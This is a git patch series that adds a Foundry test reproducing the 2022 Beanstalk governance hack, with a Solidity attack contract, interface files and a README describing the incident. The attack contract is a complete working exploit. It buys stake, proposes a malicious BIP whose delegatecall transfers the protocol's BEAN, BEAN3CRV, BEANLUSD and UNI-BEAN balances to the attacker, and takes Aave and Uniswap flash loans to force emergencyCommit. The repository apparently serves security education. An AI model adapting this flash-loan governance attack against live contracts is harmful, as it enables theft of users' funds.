From 00967e37676b2730f195cb6b72ef5a404c3c2bb1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Marquez?= Date: Wed, 11 Jan 2023 19:27:50 -0300 Subject: [PATCH 1/5] (WIP) beanstalk exploit --- .../Beanstalk/Beanstalk_attack.sol | 195 +++++++++++++ test/Business_Logic/Beanstalk/Interfaces.sol | 263 ++++++++++++++++++ test/Business_Logic/Beanstalk/README.md | 75 +++++ 3 files changed, 533 insertions(+) create mode 100644 test/Business_Logic/Beanstalk/Beanstalk_attack.sol create mode 100644 test/Business_Logic/Beanstalk/Interfaces.sol create mode 100644 test/Business_Logic/Beanstalk/README.md diff --git a/test/Business_Logic/Beanstalk/Beanstalk_attack.sol b/test/Business_Logic/Beanstalk/Beanstalk_attack.sol new file mode 100644 index 0000000..9667386 --- /dev/null +++ b/test/Business_Logic/Beanstalk/Beanstalk_attack.sol @@ -0,0 +1,195 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +import {IERC20} from "../../interfaces/IERC20.sol"; +import "forge-std/Test.sol"; +import {TestHarness} from "../../TestHarness.sol"; +import "./Interfaces.sol"; + +contract Beanstattack { + + IBeanStalk private constant beanstalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); + IERC20 private constant bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); + IAaveLendingPool private constant aave = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); + IUniswapV2Router02 private constant uniswap = IUniswapV2Router02(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + IUniswapV2Factory private constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); + IERC20 private constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + ICurvePool private constant crvbean = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); + IERC20 private constant crv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); + ICurvePool private constant crvpool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); + + function propose() external payable { + // proposing the bip requires a stake + // this money must be owned when preparing the attack + bean.approve(address(beanstalk), type(uint256).max); + + address[] memory path = new address[](2); + path[0] = uniswap.WETH(); + path[1] = address(bean); //we need bean tokens + uniswap.swapExactETHForTokens{value: 100 ether}(0, path, address(this), block.timestamp + 1); + + //depositing into bean + beanstalk.depositBeans(bean.balanceOf(address(this))); + + //the proposal is just calling the entrypoint function at this contract address + //this will be performed using a delegate call from the beanstalk silo + IBeanStalk.FacetCut[] memory cut = new IBeanStalk.FacetCut[](0); + bytes memory data = abi.encodeWithSelector(Beanstattack.entrypoint.selector); + beanstalk.propose(cut, address(this), data, 3); + } + + function entrypoint() external { + //Don't use storage here as this is called though delegateCall + //Here we have msg.sender as the attacker and this as the victim + address token = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD; //BEAN 3CRV + IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); + + token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D; //BEANLUSD + IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); + + token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db; //BEAN + IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); + + token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371; //UNI-BEAN + IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); + } + + function attack() external { + //Approvals + //we need to deposit in crv liquidity pool and also approve aave so it can recover the funds + //after the flashloan + //approvals could be performed later, but there's no real benefit on it + address[] memory addresses = new address[](2); + addresses[0] = address(crvpool); + addresses[1] = address(aave); + + address[] memory tokens = new address[](3); + tokens[0] = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //DAI + tokens[1] = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); //USDT + tokens[2] = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); //USDC + + for (uint i = 0; i < addresses.length; i++) { + address a = addresses[i]; + //USDT fails when calling approve, so we use a low level call + bytes memory data = abi.encodeWithSelector(bean.approve.selector, a, type(uint256).max); + for (uint j = 0; j < tokens.length; j++) { + address token = tokens[j]; + token.call(data); + } + } + + //Aave flashloan - 350M DAI / 150M USDT / 500M USDC + //Values used by the attacker + uint256[] memory amounts = new uint256[](3); + amounts[0] = 350000000; + amounts[1] = 150000000; + amounts[2] = 500000000; + + //decimals could be included above for saving gas, this is probably clearer + for (uint256 i = 0; i < 3; i++) { + amounts[i] = amounts[i] * (10**uint256(IERC20(tokens[i]).decimals())); + } + //aave flashloans work by calling executeOperation and leaving allowance so it can recoverd the requested tokens + premiums + aave.flashLoan(address(this), address[](tokens), amounts, new uint256[](3), address(this), new bytes(0), 0); + + uint256 balance = crv.balanceOf(address(this)); + crvpool.remove_liquidity_one_coin(balance, 1, 0); + } + + //Aave flashloan callback + function executeOperation( + address[] calldata, + uint256[] calldata amounts, + uint256[] calldata premiums, + address, + bytes calldata + ) external returns (bool) { + //Notice that the 3crv params have an order, which is not the case in uniswap + uint256[3] memory params3; + params3[0] = amounts[0]; + params3[1] = amounts[2]; //Inverted + params3[2] = amounts[1]; + + //we add liquidity to 3curve pools so we can later get + //crvbeans for depositing in beanstalk + crvpool.add_liquidity(params3, uint256(0)); + + //hardcoding this value could save some gas + IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(bean), address(weth))); + require(address(pair) != address(0), "Missing unswap v2 bean pair"); + + //data parameter is used for identifying flash swaps vs normal swaps + bytes memory data = abi.encodePacked(uint256(1)); + pair.swap(0, 10000000 * 10**bean.decimals(), address(this), data); + + //these values are needed by aave to recover the funds + //calling remove_liquidity_one_coin without calling remove_liquidity_imbalance first + //will return all the value in only one token + params3[0] = amounts[0] + premiums[0]; + params3[1] = amounts[2] + premiums[2]; + params3[2] = amounts[1] + premiums[1]; + crvpool.remove_liquidity_imbalance(params3, type(uint256).max); + + return true; + } + + // Uniswap flashloan callback + function uniswapV2Call(address, uint, uint amount, bytes calldata) external { + //We should check the sender if sushiswap is also used so we can change the behavior accordingly + //TODO: add sushiswap + + //Uniswap flashloan is not necessary for this attack. + //It could be done with the aave flashloan only, but we leave the example here for reference + //though the money of this flashloan is not used + //It was probably done to make sure that the attacker would have enough voting power + crv.approve(address(crvbean), type(uint256).max); //for add_liquidity + crvbean.approve(address(beanstalk), type(uint256).max); //for deposit + + //we are omitting here sushi flashloan for 11M LUSD + uint256[2] memory params2; + params2[0] = 0; + params2[1] = crv.balanceOf(address(this)); + crvbean.add_liquidity(params2, 0); + beanstalk.deposit(address(crvbean), crvbean.balanceOf(address(this))); + //We made our deposit in bean, we are ready to execute the bip + beanstalk.emergencyCommit(18); + + crvbean.remove_liquidity_one_coin(crvbean.balanceOf(address(this)), 1, 0); + + //uniswap has this fixed fee, it must be paid explicitely + uint256 repay = 1 + amount + (amount * 3) / 997; + //this contract would be vulnerable here + //advance bots could take advantage of the next line and steal funds at this point + //so it would be wise to protect it by checking that msg.sender == pair (the uniswap, + //contract that returns getPair) + bean.transfer(msg.sender, repay); + + } +} + +contract Exploit_Beanstalk is Test { + function setUp() public { + vm.createSelectFork("mainnet", 14595000); //we register the proposal here and wait 1 full day + vm.deal(address(this), 100 ether); + } + + function test_attack() public { + Beanstattack att = new Beanstattack(); + att.propose{value: 100 ether}(); + vm.warp(block.timestamp + 1 days); //proposal can be executed now + att.attack(); + + //Stolen tokens should be converted into eth to remove third party intervention + address token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC + require(IERC20(token).balanceOf(address(att)) > 0); + + token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D; //BEANLUSD + require(IERC20(token).balanceOf(address(att)) > 0); + + token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db; //BEAN + require(IERC20(token).balanceOf(address(att)) > 0); + + token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371; //UNI-BEAN + require(IERC20(token).balanceOf(address(att)) > 0); + } +} \ No newline at end of file diff --git a/test/Business_Logic/Beanstalk/Interfaces.sol b/test/Business_Logic/Beanstalk/Interfaces.sol new file mode 100644 index 0000000..d8f623e --- /dev/null +++ b/test/Business_Logic/Beanstalk/Interfaces.sol @@ -0,0 +1,263 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +import {IERC20} from "../../interfaces/IERC20.sol"; +import "forge-std/Test.sol"; +import {TestHarness} from "../../TestHarness.sol"; + +interface IAaveLendingPool { + function flashLoan( + address receiverAddress, + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata modes, + address onBehalfOf, + bytes calldata params, + uint16 referralCode + ) external; +} + +interface IUniswapV2Router02 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + function removeLiquidityETH( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountToken, uint amountETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountA, uint amountB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountToken, uint amountETH); + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + + function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); + function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); + function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); + function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); + + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountETH); + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + + function feeTo() external view returns (address); + function feeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + + function createPair(address tokenA, address tokenB) external returns (address pair); + + function setFeeTo(address) external; + function setFeeToSetter(address) external; +} + + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external pure returns (string memory); + function symbol() external pure returns (string memory); + function decimals() external pure returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); + + function DOMAIN_SEPARATOR() external view returns (bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); + function nonces(address owner) external view returns (uint); + + function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; + + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); + event Swap( + address indexed sender, + uint amount0In, + uint amount1In, + uint amount0Out, + uint amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + + function MINIMUM_LIQUIDITY() external pure returns (uint); + function factory() external view returns (address); + function token0() external view returns (address); + function token1() external view returns (address); + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); + function kLast() external view returns (uint); + + function mint(address to) external returns (uint liquidity); + function burn(address to) external returns (uint amount0, uint amount1); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function skim(address to) external; + function sync() external; + + function initialize(address, address) external; +} + +interface ICurvePool { + function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; + function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external; + function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; + + function remove_liquidity_imbalance( + uint256[3] memory amounts, + uint256 max_burn_amount + ) external; + + function remove_liquidity_one_coin( + uint256 token_amount, + int128 i, + uint256 min_amount + ) external; + + function balanceOf(address account) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transfer(address to, uint256 amount) external returns (bool); + + +} + +interface IBeanStalk { + function depositBeans(uint256) external; + + function emergencyCommit(uint32 bip) external; + + function deposit(address token, uint256 amount) external; + + struct FacetCut { + address facetAddress; + uint8 action; + bytes4[] functionSelectors; + } + + function propose( + FacetCut[] calldata _diamondCut, + address _init, + bytes calldata _calldata, + uint8 _pauseOrUnpause + ) external; +} \ No newline at end of file diff --git a/test/Business_Logic/Beanstalk/README.md b/test/Business_Logic/Beanstalk/README.md new file mode 100644 index 0000000..819cb39 --- /dev/null +++ b/test/Business_Logic/Beanstalk/README.md @@ -0,0 +1,75 @@ +# Beanstalk +- **Type:** Exploit +- **Network:** Ethereum +- **Total lost:** ~$181MM USD (in multiple tokens, stolen a bit less than a half in WETH) +- **Category:** Governance can be exploited during flashloan +- **Vulnerable contracts:** +- - [0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5](https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5) +- **Attack transactions:** +- - [0x3cb358d40647e178ee5be25c2e16726b90ff2c17d34b64e013d8cf1c2c358967](https://etherscan.io/tx/0x3cb358d40647e178ee5be25c2e16726b90ff2c17d34b64e013d8cf1c2c358967) Proposal +- - [0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7](https://etherscan.io/tx/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7) Execution +- **Attacker Addresses**: +- - EOA: [0x1c5dcdd006ea78a7e4783f9e6021c32935a10fb4](https://etherscan.io/address/0x1c5dcdd006ea78a7e4783f9e6021c32935a10fb4) +- - Contract: [0x79224bc0bf70ec34f0ef56ed8251619499a59def](https://etherscan.io/address/0x79224bc0bf70ec34f0ef56ed8251619499a59def) +- **Attack Block:**: 14602790 +- **Date:** Apr 17, 2022 +- **Reproduce:** `forge test --match-contract Exploit_Beanstalk` + +The attack exploit an issue in the governance contract. + +The governance has the ability to immediatelly execute an `emergencyProposal` if enough votes are gathered for it (2/3 of voting power, considered a supermajority). This characteristic combined with flash loans created the scenario for this exploit. + +Vulnerable code: +```solidity + function emergencyCommit(uint32 bip) external { + require(isNominated(bip), "Governance: Not nominated."); + require( + block.timestamp >= timestamp(bip).add(C.getGovernanceEmergencyPeriod()), + "Governance: Too early."); + require(isActive(bip), "Governance: Ended."); + require( + bipVotePercent(bip).greaterThanOrEqualTo(C.getGovernanceEmergencyThreshold()), + "Governance: Must have super majority." + ); + _execute(msg.sender, bip, false, true); + } + + function _execute(address account, uint32 bip, bool ended, bool cut) private { + if (!ended) endBip(bip); + s.g.bips[bip].executed = true; + + if (cut) cutBip(bip); + pauseOrUnpauseBip(bip); + + incentivize(account, ended, bip, C.getCommitIncentive()); + emit Commit(account, bip); + } + + function incentivize(address account, bool compound, uint32 bipId, uint256 amount) private { + if (compound) amount = LibIncentive.fracExp(amount, 100, incentiveTime(bipId), 2); + IBean(s.c.bean).mint(account, amount); + emit Incentivization(account, amount); + } +``` +The `emergencyCommit` function execute the proposal if `getGovernanceEmergencyThreshold` is reached, which is 2/3 of the votes. + +The attackers first submit porpsals bip18 and bip19. The first one being the real exploit while the later a probable disguease, where it donates funds to the Ukraine foundation. + +After 1 day, the exploit was produced using flashlons from aave, uniswap and sushi. The attackers flashloan funds in USDT, USDC, DAI, BEAN and LUSD. Using these funds the swap the values for BEAN tokens and call `emergencyCommit`. Once the delegateCall is produced from the beanstalk silo contract, they send funds in multiple tokens to the `0x79224bc0bf70ec34f0ef56ed8251619499a59def` address hold by the attacker. These funds are then used to pay the flashloans and are swapped into WETH which is later deposited in Tornado. + +The attacker was cautious. +1. They disuised the attack by submitting an incomplete proposal and sending the relevant data during the exploit +2. They added a simple proposal sending funds to a foundation to look well intended +3. They called multiple flashloans so funds would be enough even when only one would've been enough + +Point 3. added some extra cost on the attack which could've been saved if checking for voting power before voting. + +This vulnerability is exploited here with a few difference from the original exploit: no disguise is performed, everything uses the same contract and funds are not exchanged for WETH. + +Further readings +https://rekt.news/beanstalk-rekt/ +https://medium.com/coinmonks/beanstalkfarms-attack-event-analysis-6980482a9b00 + +Other exploits +https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Beanstalk_exp.sol +https://github.com/JIAMING-LI/BeanstalkProtocolExploit/blob/master/contracts/Exploit.sol From 0bac9bcd6b0d95e3d6f1c81485e909affbd395d9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Marquez?= Date: Fri, 13 Jan 2023 11:00:33 -0300 Subject: [PATCH 2/5] add sushi flashloan call example --- .../Beanstalk/Beanstalk_attack.sol | 24 ++++++++++++++----- 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/test/Business_Logic/Beanstalk/Beanstalk_attack.sol b/test/Business_Logic/Beanstalk/Beanstalk_attack.sol index 9667386..c1cd3a3 100644 --- a/test/Business_Logic/Beanstalk/Beanstalk_attack.sol +++ b/test/Business_Logic/Beanstalk/Beanstalk_attack.sol @@ -6,7 +6,7 @@ import "forge-std/Test.sol"; import {TestHarness} from "../../TestHarness.sol"; import "./Interfaces.sol"; -contract Beanstattack { +contract BeanstalkAttack { IBeanStalk private constant beanstalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); IERC20 private constant bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); @@ -18,6 +18,9 @@ contract Beanstattack { IERC20 private constant crv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); ICurvePool private constant crvpool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); + IUniswapV2Factory private constant sushi = IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); + IERC20 private constant lusd = IERC20(0x5f98805A4E8be255a32880FDeC7F6728C6568bA0); + function propose() external payable { // proposing the bip requires a stake // this money must be owned when preparing the attack @@ -34,7 +37,7 @@ contract Beanstattack { //the proposal is just calling the entrypoint function at this contract address //this will be performed using a delegate call from the beanstalk silo IBeanStalk.FacetCut[] memory cut = new IBeanStalk.FacetCut[](0); - bytes memory data = abi.encodeWithSelector(Beanstattack.entrypoint.selector); + bytes memory data = abi.encodeWithSelector(BeanstalkAttack.entrypoint.selector); beanstalk.propose(cut, address(this), data, 3); } @@ -135,9 +138,18 @@ contract Beanstattack { // Uniswap flashloan callback function uniswapV2Call(address, uint, uint amount, bytes calldata) external { - //We should check the sender if sushiswap is also used so we can change the behavior accordingly - //TODO: add sushiswap - + //Example of how to check for uniswap vs sushiswap: we compare the senders against the pair + //Sushiswap flashloans enters in the else clause, but as we don't need it we just leave the example + //here. + IUniswapV2Pair upair = IUniswapV2Pair(factory.getPair(address(bean), address(weth))); + if (address(upair) == msg.sender) { + IUniswapV2Pair spair = IUniswapV2Pair(sushi.getPair(address(lusd), address(weth))); + bytes memory data = abi.encodeWithSelector(spair.swap.selector, 0, 1, address(this), abi.encodePacked(uint256(1))); + (bool success, bytes memory ret) = address(spair).call(data); + } else { + return; //we do nothing with sushi flashloan, only leaving the example + } + //Uniswap flashloan is not necessary for this attack. //It could be done with the aave flashloan only, but we leave the example here for reference //though the money of this flashloan is not used @@ -174,7 +186,7 @@ contract Exploit_Beanstalk is Test { } function test_attack() public { - Beanstattack att = new Beanstattack(); + BeanstalkAttack att = new BeanstalkAttack(); att.propose{value: 100 ether}(); vm.warp(block.timestamp + 1 days); //proposal can be executed now att.attack(); From 4ebe369bd6bbab1fc9efd22058ae0208d0dca84a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Marquez?= Date: Sun, 15 Jan 2023 22:27:01 -0300 Subject: [PATCH 3/5] readme improvements --- test/Business_Logic/Beanstalk/README.md | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/test/Business_Logic/Beanstalk/README.md b/test/Business_Logic/Beanstalk/README.md index 819cb39..de3fafa 100644 --- a/test/Business_Logic/Beanstalk/README.md +++ b/test/Business_Logic/Beanstalk/README.md @@ -15,7 +15,13 @@ - **Date:** Apr 17, 2022 - **Reproduce:** `forge test --match-contract Exploit_Beanstalk` -The attack exploit an issue in the governance contract. +## Description + +Beanstalk is described as a permissionless fiat stablecoin protocol. It attempts to provide a stablecoin using existing AMM (like 3Curve) as tools, and it attempts to be a Decentrilized Autonomous Organization (DAO). For this purpose there's a Governance contract implemented using the [EIP-2535, Diamonds, Multi-Facet Proxy<>](https://eips.ethereum.org/EIPS/eip-2535). + +In this contract, users submit Beanstalk Improvement Proposals (BIP), which are calls that when gathering enough votes, the governance will make using the delegate call instruction. + +The attack exploit an issue in the governance contract. The attacker will perform a delegate call into a malicious contract and steal funds from the governance. The governance has the ability to immediatelly execute an `emergencyProposal` if enough votes are gathered for it (2/3 of voting power, considered a supermajority). This characteristic combined with flash loans created the scenario for this exploit. @@ -51,7 +57,7 @@ Vulnerable code: emit Incentivization(account, amount); } ``` -The `emergencyCommit` function execute the proposal if `getGovernanceEmergencyThreshold` is reached, which is 2/3 of the votes. +The `emergencyCommit` function execute the proposal if `getGovernanceEmergencyThreshold` is reached, which is 2/3 of the votes, and only after 1 day has passed since the BIP was submitted. The attackers first submit porpsals bip18 and bip19. The first one being the real exploit while the later a probable disguease, where it donates funds to the Ukraine foundation. @@ -66,7 +72,7 @@ Point 3. added some extra cost on the attack which could've been saved if checki This vulnerability is exploited here with a few difference from the original exploit: no disguise is performed, everything uses the same contract and funds are not exchanged for WETH. -Further readings +## Further readings https://rekt.news/beanstalk-rekt/ https://medium.com/coinmonks/beanstalkfarms-attack-event-analysis-6980482a9b00 From a2e34e381d8503c30e01eda762a05db64a3f3a54 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Marquez?= Date: Mon, 16 Jan 2023 10:08:19 -0300 Subject: [PATCH 4/5] add basic logs (beanstalk) --- .../Beanstalk/Beanstalk_attack.sol | 30 +++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/test/Business_Logic/Beanstalk/Beanstalk_attack.sol b/test/Business_Logic/Beanstalk/Beanstalk_attack.sol index c1cd3a3..4fc41ff 100644 --- a/test/Business_Logic/Beanstalk/Beanstalk_attack.sol +++ b/test/Business_Logic/Beanstalk/Beanstalk_attack.sol @@ -5,8 +5,9 @@ import {IERC20} from "../../interfaces/IERC20.sol"; import "forge-std/Test.sol"; import {TestHarness} from "../../TestHarness.sol"; import "./Interfaces.sol"; +import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; -contract BeanstalkAttack { +contract BeanstalkAttack is TokenBalanceTracker { IBeanStalk private constant beanstalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); IERC20 private constant bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); @@ -19,7 +20,21 @@ contract BeanstalkAttack { ICurvePool private constant crvpool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); IUniswapV2Factory private constant sushi = IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); - IERC20 private constant lusd = IERC20(0x5f98805A4E8be255a32880FDeC7F6728C6568bA0); + IERC20 private constant lusd = IERC20(0x5f98805A4E8be255a32880FDeC7F6728C6568bA0); + address private constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + + constructor() { + addTokenToTracker(address(weth)); + addTokenToTracker(usdc); + addTokenToTracker(address(bean)); + addTokenToTracker(address(lusd)); + addTokenToTracker(address(crv)); + addTokenToTracker(address(crvbean)); + addTokenToTracker(address(0x87898263B6C5BABe34b4ec53F22d98430b91e371)); + + updateBalanceTracker(address(this)); + updateBalanceTracker(address(beanstalk)); + } function propose() external payable { // proposing the bip requires a stake @@ -58,6 +73,8 @@ contract BeanstalkAttack { } function attack() external { + logBalancesWithLabel("Initial balance", address(this)); + logBalancesWithLabel("Initial balance", address(beanstalk)); //Approvals //we need to deposit in crv liquidity pool and also approve aave so it can recover the funds //after the flashloan @@ -107,6 +124,7 @@ contract BeanstalkAttack { address, bytes calldata ) external returns (bool) { + logBalancesWithLabel("Aave flashloan", address(this)); //Notice that the 3crv params have an order, which is not the case in uniswap uint256[3] memory params3; params3[0] = amounts[0]; @@ -133,6 +151,7 @@ contract BeanstalkAttack { params3[2] = amounts[1] + premiums[1]; crvpool.remove_liquidity_imbalance(params3, type(uint256).max); + logBalancesWithLabel("Flashloan paids, attacker", address(this)); return true; } @@ -163,9 +182,13 @@ contract BeanstalkAttack { params2[1] = crv.balanceOf(address(this)); crvbean.add_liquidity(params2, 0); beanstalk.deposit(address(crvbean), crvbean.balanceOf(address(this))); + logBalancesWithLabel("Before commit, attacker", address(this)); + //We made our deposit in bean, we are ready to execute the bip beanstalk.emergencyCommit(18); + logBalancesWithLabel("Attack done, attacker", address(this)); + logBalancesWithLabel("Attack done, victim", address(beanstalk)); crvbean.remove_liquidity_one_coin(crvbean.balanceOf(address(this)), 1, 0); //uniswap has this fixed fee, it must be paid explicitely @@ -183,12 +206,15 @@ contract Exploit_Beanstalk is Test { function setUp() public { vm.createSelectFork("mainnet", 14595000); //we register the proposal here and wait 1 full day vm.deal(address(this), 100 ether); + + } function test_attack() public { BeanstalkAttack att = new BeanstalkAttack(); att.propose{value: 100 ether}(); vm.warp(block.timestamp + 1 days); //proposal can be executed now + att.attack(); //Stolen tokens should be converted into eth to remove third party intervention From 43ccab7099d9edccdb8cda1a517c97bbce9c9aee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Marquez?= Date: Mon, 16 Jan 2023 14:13:56 -0300 Subject: [PATCH 5/5] grammar and typos --- test/Business_Logic/Beanstalk/README.md | 22 ++++++++++------------ 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/test/Business_Logic/Beanstalk/README.md b/test/Business_Logic/Beanstalk/README.md index de3fafa..c387f3b 100644 --- a/test/Business_Logic/Beanstalk/README.md +++ b/test/Business_Logic/Beanstalk/README.md @@ -17,13 +17,11 @@ ## Description -Beanstalk is described as a permissionless fiat stablecoin protocol. It attempts to provide a stablecoin using existing AMM (like 3Curve) as tools, and it attempts to be a Decentrilized Autonomous Organization (DAO). For this purpose there's a Governance contract implemented using the [EIP-2535, Diamonds, Multi-Facet Proxy<>](https://eips.ethereum.org/EIPS/eip-2535). +Beanstalk is described as a permissionless fiat stablecoin protocol. It attempts to provide a stablecoin using existing AMM (like 3Curve) as tools, and it attempts to be a Decentralized Autonomous Organization (DAO). For this purpose there's a Governance contract implemented using the [EIP-2535, Diamonds, Multi-Facet Proxy<>](https://eips.ethereum.org/EIPS/eip-2535). In this contract, users submit Beanstalk Improvement Proposals (BIP), which are calls that when gathering enough votes, the governance will make using the delegate call instruction. - -The attack exploit an issue in the governance contract. The attacker will perform a delegate call into a malicious contract and steal funds from the governance. - -The governance has the ability to immediatelly execute an `emergencyProposal` if enough votes are gathered for it (2/3 of voting power, considered a supermajority). This characteristic combined with flash loans created the scenario for this exploit. +The attack exploits an issue in the governance contract. The attacker will perform a delegate call into a malicious contract and steal funds from the governance. +The governance contract can immediately execute an `emergencyProposal` if enough votes are gathered for it (2/3 of voting power, considered a supermajority). This characteristic combined with flash loans created the 